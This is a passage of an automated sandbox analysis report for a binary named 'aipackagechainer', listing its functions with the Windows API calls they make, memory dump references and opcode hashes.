                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00296B32
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: InfoLocale$ErrorLast
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 661929714-0
                                                                                                                                                                                                                                                  • Opcode ID: b02ce25d158db85f4a81bf8bd02913dd0722ad79eae582aa093a584e6cd3e1a2
                                                                                                                                                                                                                                                  • Instruction ID: cab7ebde0be8bcd0a4a0dace1cfab991ad4783d957a2728fd0a6dffa9450f3de
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b02ce25d158db85f4a81bf8bd02913dd0722ad79eae582aa093a584e6cd3e1a2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0161BF719202079FDF28AF28CD9ABAA77E8FF04304F10817AE905D6585FB74D9A1CB50
                                                                                                                                                                                                                                                  Function 002116C0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetVersionExW.KERNEL32 ref: 002769C8
                                                                                                                                                                                                                                                  • GetVersionExW.KERNEL32(?), ref: 00276A13
                                                                                                                                                                                                                                                  • IsProcessorFeaturePresent.KERNEL32(00000011), ref: 00276A27
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Version$FeaturePresentProcessor
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1871528217-0
                                                                                                                                                                                                                                                  • Opcode ID: 255616fda511a39c26b05650b19a481b3b64c0e894b3528b081267f0f108cb7c
                                                                                                                                                                                                                                                  • Instruction ID: 31d38f396426c127815a652e768f3b1e93cfbb1686432b61a2ad2699d0f09bac
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 255616fda511a39c26b05650b19a481b3b64c0e894b3528b081267f0f108cb7c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4B614971B103254FE308CF2D9C896AABBD5EBC9341F04863FE49AC7291DA74C915CBA1
                                                                                                                                                                                                                                                  Function 00281363 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0028145B
                                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00281465
                                                                                                                                                                                                                                                  • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00281472
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3906539128-0
                                                                                                                                                                                                                                                  • Opcode ID: 3439c68c01be334fc44f15aa647285c30e2028f4b8a978ec0dbd37b70a7d773d
                                                                                                                                                                                                                                                  • Instruction ID: 60f0c702c2398ef639c2fef51a113aae82230d1d3c0dd2b602093a22db521652
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3439c68c01be334fc44f15aa647285c30e2028f4b8a978ec0dbd37b70a7d773d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2531D6749112299BCB21DF68DC897DDBBB8BF18310F5081EAE40CA7291EB709F918F45
                                                                                                                                                                                                                                                  Function 00238470 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76timeCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLocalTime.KERNEL32(?,4938EAB5), ref: 002384CE
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • %04d-%02d-%02d %02d-%02d-%02d, xrefs: 00238510
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: HeapLocalProcessTime
                                                                                                                                                                                                                                                  • String ID: %04d-%02d-%02d %02d-%02d-%02d
                                                                                                                                                                                                                                                  • API String ID: 1554148984-3768011868
                                                                                                                                                                                                                                                  • Opcode ID: 9d17bf16d8460c1ad0dc4aeb9e78c600bc7724df3d79ec08090ff82b91b1f084
                                                                                                                                                                                                                                                  • Instruction ID: 81c59c21d119143dcddd4737336cc02f807584befbca3de0871133378898367a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9d17bf16d8460c1ad0dc4aeb9e78c600bc7724df3d79ec08090ff82b91b1f084
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 60219FB1D14208ABDB14DF99D841BFEB7F8EB0C710F10422EF815A7280EB749950CBA5
                                                                                                                                                                                                                                                  Function 00282410 Relevance: 3.4, APIs: 2, Instructions: 449COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 7005f14389522480ac6fb9852cd731dda82be8c916b1cc2d4119a756cf47b29a
                                                                                                                                                                                                                                                  • Instruction ID: c4508464257fd46cf4a0b8367cef0996f69f1d3a5c69d92b3a279c32004f56d4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7005f14389522480ac6fb9852cd731dda82be8c916b1cc2d4119a756cf47b29a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 81F13B75E1121ADBDF18DFA9C880AADF7B5FF88314F158269E815AB380D730AD15CB90
                                                                                                                                                                                                                                                  Function 002373A0 Relevance: 3.1, APIs: 2, Instructions: 134windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FormatMessageW.KERNEL32(00001300,00000000,00000008,00000400,00000001,00000000,00000000,4938EAB5,?,00000001), ref: 002373EB
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002373F5
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AllocateErrorFormatHeapLastMessage
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 4114510652-0
                                                                                                                                                                                                                                                  • Opcode ID: 04a562de0c4d2891824dd04e9aab9e1c0089badb4bde19b4ee475cab8a23a881
                                                                                                                                                                                                                                                  • Instruction ID: 5a29f278f4496918211a248d554c4561d653baf52cd69b89a42782773aeeff31
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 04a562de0c4d2891824dd04e9aab9e1c0089badb4bde19b4ee475cab8a23a881
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BC41E2B1A142169BDF24CF98D8057AEFBF8FF44714F14426AE905E7380E7B59D108B90
                                                                                                                                                                                                                                                  Function 0021C700 Relevance: 3.0, APIs: 2, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __set_se_translator.LIBVCRUNTIME ref: 0021C705
                                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(Function_00023920), ref: 0021C71B
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled__set_se_translator
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2480343447-0
                                                                                                                                                                                                                                                  • Opcode ID: 0a67a4bed521ff2d6df5a2bdac84f46847d83651252c69d4fa85eaa0a096d4d9
                                                                                                                                                                                                                                                  • Instruction ID: 9eecdc7e96eb594d6254e109bd8e03e598fdac97ebcbee2cc6dd6431758a3b44
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0a67a4bed521ff2d6df5a2bdac84f46847d83651252c69d4fa85eaa0a096d4d9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A8D0A9A08A6240AAD7008320AC093A02AA0032A308F058805E48A012928AF61EA68F13
                                                                                                                                                                                                                                                  Function 0026C330 Relevance: 2.7, Strings: 1, Instructions: 1452COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: P?<u
                                                                                                                                                                                                                                                  • API String ID: 0-2531429983
                                                                                                                                                                                                                                                  • Opcode ID: b517590e8e4f44c24ffd3c67fac128bb231eac65ff55b8d74bc3034728430790
                                                                                                                                                                                                                                                  • Instruction ID: 566074156d0035bc5a4b08b629579621aed145f07c6d1829576b6eb137d18d67
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b517590e8e4f44c24ffd3c67fac128bb231eac65ff55b8d74bc3034728430790
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ECD27B70A1024ADFDB14DF68C884BADBBB4BF49304F248199E8499B352C775EDA5CF90
                                                                                                                                                                                                                                                  Function 0028F26A Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0028F265,?,?,00000008,?,?,0029A394,00000000), ref: 0028F497
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExceptionRaise
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3997070919-0
                                                                                                                                                                                                                                                  • Opcode ID: 57f123c87f7e86a62e81174f4532944e1b74510b24217f6ea49f7a14fa4d83fb
                                                                                                                                                                                                                                                  • Instruction ID: 20ab9e495805ef4dac2f1f9d2b2c3d598bc27d38cbd874a8b0b657155cf2267c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 57f123c87f7e86a62e81174f4532944e1b74510b24217f6ea49f7a14fa4d83fb
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6AB1BE39221609CFD754DF28C586B657BE0FF44364F2582A9E899CF2E1C335E9A1CB40
                                                                                                                                                                                                                                                  Function 0026D9F0 Relevance: 1.7, Strings: 1, Instructions: 447COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: @
                                                                                                                                                                                                                                                  • API String ID: 0-2766056989
                                                                                                                                                                                                                                                  • Opcode ID: 1c782da47482841668cf26860def9a4b8286acb6565d8712eb44a2db6db88d5b
                                                                                                                                                                                                                                                  • Instruction ID: bf94da240dfee8fb11a780a9cfb582f47329d8325515471f9095b34e65e680b1
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1c782da47482841668cf26860def9a4b8286acb6565d8712eb44a2db6db88d5b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8D023E72A083008BC75CCF19D89156BF7E2BFCC314F15892EF89A93351DB74A956CA86
                                                                                                                                                                                                                                                  Function 0027CCD0 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0027CCE6
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FeaturePresentProcessor
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2325560087-0
                                                                                                                                                                                                                                                  • Opcode ID: 4f42bb76b1d636f9b2ebf5b08b9c5b295a5b2b97e733686a1ceb6aaec7fd3e1e
                                                                                                                                                                                                                                                  • Instruction ID: 727bc2e0e7df51201820337ebe64d6d605e6aad48e8bc0fb8c6eca35ad2a5cbb
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4f42bb76b1d636f9b2ebf5b08b9c5b295a5b2b97e733686a1ceb6aaec7fd3e1e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 12512DB1E212158FDB24CF65E8897AABBF0FB48311F24C46AD409EB250D7759E54CFA0
                                                                                                                                                                                                                                                  Function 00296C21 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00296C75
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$InfoLocale
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3736152602-0
                                                                                                                                                                                                                                                  • Opcode ID: 1737c6ea5a50dfc73405f843c1fb0b48cb67483ce213efe9ecbb9d56f5509eff
                                                                                                                                                                                                                                                  • Instruction ID: e5f659e57d9444037c324dea868888714ca1bda8c88181c14652f5750f6846b4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1737c6ea5a50dfc73405f843c1fb0b48cb67483ce213efe9ecbb9d56f5509eff
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6121C571A21216ABDF28AF24DD5AE7A73ECEF04310B10407BFD41C6181EB74ED608B54
                                                                                                                                                                                                                                                  Function 002968A8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(002969CE,00000001,00000000,?,-00000050,?,00296FFF,00000000,?,?,?,00000055,?), ref: 0029691A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2417226690-0
                                                                                                                                                                                                                                                  • Opcode ID: 4daf782e5153f9dddac79d3499b9bc9ae0d44d1620ecbd27ec2a25094b612c38
                                                                                                                                                                                                                                                  • Instruction ID: c2c5cd45e7e9f8661b7e874c6fbb278a23b26b66f7078218366b5465edf8b39a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4daf782e5153f9dddac79d3499b9bc9ae0d44d1620ecbd27ec2a25094b612c38
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0C1129362103019FEF189F39C89567AB7D2FF80358B19442DE58687A40D771B953CB40
                                                                                                                                                                                                                                                  Function 00296E50 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00296BEA,00000000,00000000,?), ref: 00296E7C
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$InfoLocale
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3736152602-0
                                                                                                                                                                                                                                                  • Opcode ID: bb884551f176a9bb8caebf05ed802771b027973748fa2bc11bfd46a1c1b878fc
